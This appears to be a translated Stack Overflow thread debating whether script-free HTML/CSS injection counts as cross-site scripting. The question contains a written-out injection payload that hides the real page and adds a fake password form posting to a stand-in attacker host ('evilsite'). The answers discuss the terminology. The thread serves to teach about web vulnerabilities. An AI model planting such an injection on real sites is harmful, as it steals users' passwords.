我正在做一个关于网络安全的演示,并准备展示几个基本的跨站点脚本示例。
有趣的是,在使用Chrome处理这些示例时,我遇到了Chrome的XSS预防功能,它将检测是否正在执行请求中也存在的脚本;非常漂亮的特性。
由于我的示例故意回写以未转义格式提交的内容,所以我决定查看Chrome是否以相同的方式处理样式信息。在这种情况下,我能够提交结束标记和一个样式元素,它隐藏了文档的其余部分,并用我的内容重写了它。
我想知道的是:我所做的仍然是跨站点脚本,还是被称为其他东西?它仍然是一种将内容注入页面以改变布局的攻击,并且可能会做一些邪恶的事情,比如添加提交给攻击者站点的表单,但它没有显式地注入脚本。
我想确保我的语义是正确的,这个例子似乎克服了显式地将XSS称为基于脚本的攻击的概念,除非它有自己的名字。
提前感谢!
编辑:我将提供一个简单的例子来说明我在说什么
如果我有以下页面:
<html>
<body>
<h1 class="welcome">Welcome Fred!</h1>
</body>
</html>"Fred“一词来自用户输入,如果没有转义,我可以注入:
<html>
<body>
<h1 class="welcome">Welcome
<!-- begin injected code -->
</h1>
<style>.welcome { visibility: hidden; display: none; }</style>
<h1>Please enter your password to continue</h1>
<form method="post" action="http://evilsite/hax">
<label for="password">Password:</label>
<input type="password" id="password" name="password" />
<input type="Submit" name="Submit" value="Submit">
</form>
<h1 class="welcome">
<!-- end injected code -->
!
</h1>
</body>
</html>然后,该页面看起来就像是合法的站点在请求用户的密码,而它将被提交到攻击者的站点(并且有可能重定向到合法的站点,以使受害者不知道)。
它仍然具有与基于普通脚本的XSS攻击相似的意图,但不涉及任何脚本。
发布于 2012-03-11 07:37:51
有先例称此为XSS。正如在是否有可能通过样式表进行跨域攻击?中所解释的那样,livejournal是最早被广泛报道的基于CSS的XSS目标之一。
LiveJournal包含允许远程跨站点脚本攻击的漏洞。存在此缺陷是因为应用程序在提交到‘/cgi/leanhtml.pl’脚本时不验证xsl命名空间变量。这可能允许用户创建巧尽心思构建的URL,该URL将在浏览器和服务器之间的信任关系内在用户浏览器中执行任意代码,从而导致完整性损失。
在这种情况下,术语“跨站点脚本”是恰当的,因为攻击通过将脚本注入到通过相同来源策略获得权限的站点而提升了权限。无论脚本是在JavaScript、CSS、HTML、URL还是其他类型的代码中,都与攻击是否应该被描述为"XSS“无关。这一决定是根据以下方面作出的:
编辑:
如果没有运行脚本,那么它就不是跨站点脚本。也许内容注入或内容掩蔽将是一个更合适的术语。
发布于 2012-03-11 08:07:51
严格意义上说,只有在可以将一些来自外部(即跨域)的客户端脚本注入到文档中,以便在文档上下文中的受害者浏览器中执行注入的代码,从而产生与服务器所提供的结果相同的情况下,才会称为攻击(客户端脚本)。
这就是CWE描述XSS
在以下情况下出现跨站点脚本(XSS)漏洞:
因此,如果注入不包含客户端脚本,而是包含一些不同的内容,那么您不会称它为XSS,而是一些类似于代码注入的东西。在改变内容的情况下,也可以称为污点。
但为了方便起见,许多人将允许将某些东西注入文档的每一次攻击合并为XSS。根据CWE的说法,将假登录表单注入文档的攻击也称为XSS。
https://stackoverflow.com/questions/9653136
复制相似问题